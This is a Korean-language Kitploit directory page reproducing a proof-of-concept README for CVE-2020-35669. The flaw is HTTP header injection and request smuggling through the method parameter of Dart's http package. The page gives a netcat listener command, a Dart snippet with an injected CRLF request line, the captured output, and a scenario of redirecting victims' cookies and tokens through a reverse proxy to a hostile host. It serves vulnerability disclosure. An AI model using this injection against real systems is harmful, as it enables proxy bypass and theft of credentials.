Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-35669 — CVE-2020-35669에 대한 개념 증명 익스플로잇으로, Dart의 http 패키지에서 조작된 메서드 매개변수를 통해 HTTP 요청 스머글링과 헤더 인젝션을 시연하여 리버스 프록시 우회 및 호스트 헤더 조작을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/n0npax/cve-2020-35669
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubn0npax/cve-2020-35669

CVE-2020-35669

CVE-2020-35669에 대한 개념 증명 익스플로잇으로, Dart의 http 패키지에서 조작된 메서드 매개변수를 통해 HTTP 요청 스머글링과 헤더 인젝션을 시연하여 리버스 프록시 우회 및 호스트 헤더 조작을 가능하게 합니다.

저장소 보기
135년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-35669

더미 서버

첫 번째 터미널에서 더미 서버를 실행하세요

sudo nc -l 127.0.0.1 80 

주어진 diff 적용

diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

더미 앱 실행

두 번째 터미널에서 main.dart를 실행하세요

dart run main.dart

결과

nc는 다음 요청을 수신해야 합니다

GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

중요한 코드 조각

  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

중요 경로

위에 표시된 diff가 적용되지 않았고 사용자가 rev-proxy 뒤에 있는 경우 example.com이 제공하는 웹사이트에 도달했다고 가정합니다.

dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

이것이 보안 위험인 이유

개발자가 Request를 사용하여 HTTP 호출을 추상화하고 사용자로부터 method 매개변수를 받는 경우, 사용자는 헤더 인젝션이나 경로 변조와 같은 마법을 부릴 수 있습니다. 이는 여러 방식으로 악용될 수 있으며, 특히 리버스 프록시가 있는 경우 매우 중요해 보입니다. 프록시는 단순히 host 헤더를 기준으로 누군가의 요청을 모든 호스트로 전달할 수 있습니다. 제가 example.com을 my-evil-uservice.org로 대체하고 피해자는 프록시 뒤에 있는 회사에서 일하고 있다고 가정해 봅시다. 즉, 헤더/쿠키(토큰)가 포함된 호출을 리디렉션할 수 있다는 뜻입니다. 등등. 이를 바탕으로 모든 헤더/쿠키가 포함된 호출을 도용할 수 있습니다.

도구 다운로드